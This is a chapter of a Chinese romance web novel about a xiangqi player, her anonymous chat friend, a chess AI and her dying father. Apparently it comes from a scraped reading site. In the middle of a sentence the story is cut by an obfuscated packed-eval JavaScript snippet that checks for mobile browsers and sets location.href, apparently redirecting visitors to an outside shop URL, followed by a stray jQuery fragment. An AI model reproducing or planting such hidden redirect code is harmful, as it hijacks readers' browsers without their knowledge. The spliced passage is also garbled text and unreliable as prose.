11. 第 11 章

作品:《越轨引诱

    树洞输入了老半天,时间长得让沈疑觉得他已经开始编故事了。


    发来的消息倒特别简单:


    ——【没有。】


    沈疑:


    【???】


    【什么都没有???】


    【真的假的???】


    【???】


    估计是被她的问号整急眼了,对方开始快速打字:


    ——【我觉得没谈过恋爱不代表不会照顾人。】


    ——【不代表没有耐心,会随便对对方发脾气。】


    ——【不代表会经常大喊大叫,以自我为中心。】


    ——【不代表不会把对方放在第一位。】


    ——【不代表不会关注对方的情绪。】


    ——【反正就是。】


    ——【不会比那些谈过恋爱的男人差。】


    沈疑:“?”


    其实她也没有质疑他的意思,他那么激动干什么?


    这话东一榔头西一棒子,没什么章法,她唯一能感受到的一点,就是——


    急。


    还急得很隐晦,不想让人看出来。


    为了让他放松下来,她解释说:


    【你想多啦。】


    【我就是随口问一下。】


    【但你长这么大了一次恋爱也没谈过?】


    【有点奇怪。】


    【感觉你家庭条件应该也不错。】


    【是你不喜欢别人还是什么原因?】


    树洞又输入了一会:


    ——【我社交圈比较窄,基本就认识家里几个人。】


    沈疑更奇怪了:


    【那你工作怎么办?谁都不认识不怕被人坑?】


    树洞回答道:


    ——【我以前的工作也跟象棋有关,不需要和很多人交往。】


    ——【从棋风就能看出一个人的人品。】


    沈疑:


    【比如?】


    树洞:


    ——【比如遇到积分高的人,他是主动求和,冲着和棋照棋谱下,还是跃跃欲试,觉得宁可输棋也要全力以赴。】


    ——【很多类似的方面。结合赛事的重要程度、对方所处的环境、时间、地点。一盘棋,能把人看得很清楚。】


    ——【所以你放心,我不会被坑的。】


    沈疑的好奇心被他彻底勾起:


    【那你觉得按照我的下棋风格,我是什么样的人?】


    她本来以为树洞又要和之前一样磕磕巴巴,谁知道,这次的回答居然格外条理清晰:


    ——【自信、骄傲、强势、有城府、进取心强。】


    ——【之前和你下棋的时候注意到,首先是你开局攻击性很强。其次,在中局,我攻势起来时你不会和我对吃,但也不会谨慎保棋,更倾向开辟新的局部战场找破绽,实在不行再对攻。同样情况下,退棋保子是你的下下策。总是看上去像暂避对手锋芒,其实并没有真正变成退让,只是在明假意顺从,在暗等待机会。再来,能赢绝不和,输棋也不和,即使娱乐局依旧非常认真。又因为不是比赛,你不会刻意回避自己的情感变化,表现出来的棋风会更贴近生活里的真实性格。】


    提及象棋相关,树洞就像变了一个人,明显比被问到谈过几段恋爱更有话说、也肉眼可见地变得更擅长。


    很多细节性的东西,包括沈疑每次和他对弈时的纠结,选择走哪步舍弃掉哪步,她自以为隐藏得很好,没想到被对方尽数看穿。


    仅仅从棋盘上,九条竖线、十条横线,三十二枚棋子,就将素未谋面的对手形象轻而易举拼凑出来。


    思维缜密,一针见血,很难把他同两分钟前那个因为没谈过恋爱而各种急来急去的人联系到一起。


    “……”沈疑也是头一见他发这么多话,认认真真把它全部看完,问:


    【那如果我觉得你想太多了呢?如果我在现实生活里真的只是一个弱势且水灵灵的小女孩呢QAQ】


    树洞没有因为她的质疑而解释什么:


    ——【真是这样,那全国女子冠军的头衔就足够满足你了。】


    ——【不会在此时此刻,还来到这个地方。】


    ——【我们之前在网上连续下了两个月,然后你把你的名字告诉我了,我就去网上找你的比赛录像看。】


    ——【我把能找到的录像都看完了,非常欣赏你的风格。】


    ——【所以才有了想认识你的念头,特意注册了一个微信,提出加你好友的请求。】


    沈疑愣住。


    怎么还意外的真诚起来了?


    真诚到让她心里发颤,不自觉的嘴角上扬,仿佛这一天的负面情绪在此刻被悉数净化。


    她迅速回了一个受宠若惊的表情。


    接着,想了一会,她又问:


    【那你是不是通过这个推测出你家男神的性格和骚一点不搭边,所以,我每次说梁确骚你都不开心?】


    对方也迅速回归到扭扭捏捏的呆滞状态:


    ——【……】


    沈疑:


    【省略号是什么意思?】


    树洞:


    ——【就是。】


    ——【如果你喜欢骚的话。】


    ——【那你就以为他骚吧。】


    ——【我……没有关系。】


    沈疑:“……”


    树洞顿了顿,最后主动问起另一个问题:


    【还有就是,其实我也很好奇,为什么感觉你似乎不太喜欢见到梁确?】


    【能和我说说原因吗?】


    见状,沈疑挑了下眉毛了。


    也没什么原因,毕竟很多时候,促使你和一个陌生人说话的,基本就是对方给你的第一感觉比较友善。


    恰好,梁确给她的第一感觉极其不友善。


    又冷又凶。


    她又不是受/虐/狂,天天想看见他干什么?


    沈疑挑了个理由,既表达了自我感受,同时也维护了树洞男神的形象:


    【因为他看上去就不怎么好相处。】


    【可能是经常穿黑西装的缘故吧。】


    【还有深色的衣服。】


    【就给人一种很严厉的感觉,很有距离感。】


    【老怀疑你再多看他两眼他会突然暴走,一边开始骂骂咧咧一边冲过来扇你两个大嘴巴子。】


    树洞:


    ——【?】


    ——【有这么夸张吗?】


    ——【干嘛把他描述得像个神经病。】


    *


    昨晚睡得不错,早晨起床精神满满。沈疑离开房间时,又遇到了那只白白胖胖的萨摩耶。


    莫妮卡被梁确牵着,规规矩矩站在主人脚边,从背后看去像一块巨型棉花糖。


    见她出来,它扭头看了她一眼。


    没有笑容,也没摇尾巴,只是冷冷看了一眼。


    随后,重新把头扭了回去。


    像是完全不记得昨天发生的事情。


    高冷又傲娇。


    “……”沈疑硬着头皮上前,跟梁确打招呼:“梁特早上好!”


    梁确嗯了声,低头看手机。


    估计是为防止狗毛乱飞,他破天荒穿了一件白色的连帽卫衣,这样不管沾上多少狗毛,旁人第一眼看上去也不会太明显。


    梁确长期待在室内,所以皮肤很白,浅色系的衣服衬得他气质更偏向清贵。


    多了几分柔和,少了几分不好接近。虽然总体的冷感依旧很足,但不至于看了叫人打冷颤。


    电梯还没来,沈疑也拿出手机,快马加鞭和树洞摸鱼:


    【又又又遇到梁确了!】


    【他旁边还站着耶耶!】


    【突然感觉他今天没有那么凶了,看着顺眼了点。】


    说罢,她抬眼瞄了眼梁确。


    而对方的注意力始终在手机上,半个眼神都懒得分给她。


    于是沈疑放心地蛐蛐起来:


    【因为他今天穿了耶耶同款皮肤!】


    【他卫衣帽子后面居然还有两个三角形的粉耳朵,跟他的狗一样。】


    【我的妈这么从背后看上去他们两个人长得好像啊哈哈哈哈哈哈哈哈哈哈。】


    【好刺激,我现在就在梁确身后,说他好像一条狗。】


    【梁确对此还一无所知,以为我只是一个热情又礼貌的小女孩[/得意]】


    树洞:


    ——【………………………………】


    *


    沈疑收起手机,来到餐厅时,里面已经聚集了一群人。


    申城队和杭城队的人挨在一起,她与几人打个招呼,坐到温扬身边。


    一边吃饭,一边听他们讨论,说的还是昨天关于ai的话题。


    “梁特看样子不会接那场ai表演赛,”温扬侧头,耐心地和她复述一遍刚才他们说的事情:“但是人家科技公司还是想给研发出来的ai打波广告,所以在跟棋协商量,要不要换一个人上去。”


    “而且还免费送了一份软件让我们训练,”鲍浩慨朝沈疑努嘴:“小疑一会有空了要不要一起去玩?”


    沈疑的嘴忙着吃饭,就点头比了个OK的手势。


    ……


    ai的名字还挺好听,叫“悟道·不孤”,简称悟道。有种当你在棋盘上被对手血/虐千百次时,回头一看,还有个机器人陪在你身边的温情。


    虽然在这种场景里代入机器人有点诡异。


    沈疑、温扬、鲍浩慨跟尤子民四人组团坐在电脑前,又打开一个可以帮助后续拆局的软件,一切就绪,撸/起袖子准备试试这个悟道的水有多深。


    很多人小时候都有和电脑下象棋的经历,对“象棋软件”这个东西不陌生。那时候的噩梦应该是电脑的“困难”难度。


    但这些电脑和专门针对象棋领域研发的128核强软悟道完全没法比。


    几人下慢棋,抽到先手,没下几步已经被悟道绕昏头了。


    倒不是悟道有多么一击必杀,而是他们根本看不懂它为什么要这么下。


    “这个……离谱了吧兄弟?车说不要就不要了?”鲍浩慨烦躁地挠头。


    几人训练时也会用到ai,但悟道的离谱程度领先他们所遇到了N的版本。


    在象棋里,判断自己这手棋下得好不好,看的不是自己的这一步、而是再下一步。


    即对手给出了什么样的回应。


    类似拔河,两个人在绳子两头,一拉一拽。


    偏偏悟道就像是,拔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14486574|154596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    河拔到一半,突然拿出剪刀把绳子剪开,你压根不知道它想干什么。


    开局可以丢车、可以弃马,总之在前几十步走得不知所云,局面要多糟糕有多糟糕。


    最后,冷不丁在十步之内完成绝杀,打得对方毫无还手之力,根本不知道自己到底输在了哪里。


    几人也算是全国象棋领域的佼佼者,合起来被悟道虐得毫无还手之力。


    “苍了个天!”尤子民人都傻了:“跟它走和棋谱它都能破?”


    “这种,特大来了别说赢,估计和也和不了。”温扬跟着叹气。


    “可能只有梁特来了能试试,偏偏他又不打。”尤子民惋惜捶桌。


    象棋是一种和棋率将近三成的游戏,只要抽到先手,按和棋谱上来走,很容易下和。


    然而悟道却直接把棋手们代代相承学习的棋谱完全打破,毫不留情地用机械大脑进行碾压。


    鲍浩慨感慨:“早知道当年我也去学人工智能了。”


    “……”沈疑没说话,调出双方从开局起的每一步记录,仔细看过。


    三人也跟着开始复盘,结果发现,悟道可以轻松算到五十步棋以后。


    这还仅仅是它表现出来的。


    也可能。


    几人的水平加起来也只能够得着让它提前算五十步。


    而且。


    已知,即使是悟道,也并没有将象棋完全穷举的能力。


    后人只会被后来的计算机虐得更惨。


    沈疑:“……”


    下个der。


    一个白天跟悟道耗完,她走之前,将电脑里的拆局数据导了一份发到自己邮箱,打算晚上有空了再看看。


    走出酒店大门,沈疑望着外面渐次亮起霓虹灯的夜色,觉得脖子和肩膀出乎意料的酸痛。


    先前注意力全在棋上,还没感觉,这会一低头就痛。


    她咬牙活动了几圈脖子,坐上网约车,直奔沈哲良所在的医院。


    *


    医院里,消毒水的气味很重。待上一周,连花都会变得死气沉沉。


    不过沈哲良今天的精神状态还不错。沈疑到的时候,他正在熊丽华的照顾下喝一碗鸡丝粥。


    粥米和鸡丝都做得很细,但他吞咽得十分费力。


    “……”


    有关沈哲良确诊那天的情形是什么,沈疑已经快要记不起来了。


    大脑是她活到现在为止,最忠诚的战友,会定期自动帮她清除一切不想回忆的东西,将有限的理智,投在最重要的事情上面——


    下棋,然后,往上爬,站稳脚跟。


    她只记得一些只言片语。


    “胶质母细胞瘤。”


    “和神经黏连太紧。”


    “切不干净。”


    “中位生存期不到20个月。”


    无论跑到哪一个发达国家,都是绝症,都治不了。


    “小疑来了,这两天吃得好不好?快比赛了,晚上睡得着吗?”其实沈哲良在微信里也是这几句话,还会附带一个龇牙的表情。


    “嗯,挺好的。”沈疑眨眨眼睛:“你呢?”


    “你过得好,爸爸也好。”


    “……”


    短暂的沉默后,他又叮嘱:“以后要好好跟着孟先生,不能辜负他的栽培,知道吗?没有他就没有现在的你。”


    “别说他了,”沈疑坐在他床边,端过碗,喂他喝剩下的半碗粥:“你比他重要。”


    沈哲良苍老的眼里露出苦笑:“其实爸爸没有他重要。”


    “……”


    “爸爸没用,什么都帮不上你。孟先生能帮你,你一定要听话。”


    “……”


    沈疑很想说,自己已经快被孟景砚逼到悬崖边上了。可是这话不能说,因为沈哲良非但解决不了,还会因此整夜整夜地睡不着觉。


    本来他就已经很虚弱了。


    他最常挂在嘴边的话,就是:“活着的时候能看小疑登上象甲,赢一场棋就好了。”


    这是她从小到大,沈哲良第一次提出要求。


    在此之前,即使是决定走职业棋手的道路,这种赌上命运的大事——他也从来不会跟沈疑说“必须要成功,否则全家就完蛋了”。


    他只会说:“有爸爸给你兜底,放心去做,失败了,爸爸陪你重头开始。”


    “……”所以她不能输。


    这是他能看见的最后一个赛季,向她提出的唯一一个愿望,她不能不孝到连这点东西都满足不了他。


    她也想在他生命的最后关头,成为他无所不能的超人。


    鸡丝粥被眼泪泡的有点模糊。沈疑吸了下鼻子,强打精神,跟沈哲良聊起今天下午和悟道对决的事。


    沈哲良也是棋迷,以前也曾成为过职业棋手,但止步于市队,又碍于生活所迫转行。熊丽华总说他看象棋的时候身体会好一点,奈何她不太懂棋,也没法和他聊。


    “你队友说的没错,”他感叹,“要是能看梁确出山,跟ai下一盘,一定大饱眼福,可惜。”


    可惜他最喜欢的棋手梁确十年前就退役了。


    就在这时,病房门口,传来三声“咚咚咚”的敲门声——


    孟景砚那张熟悉的脸出现在视线里面。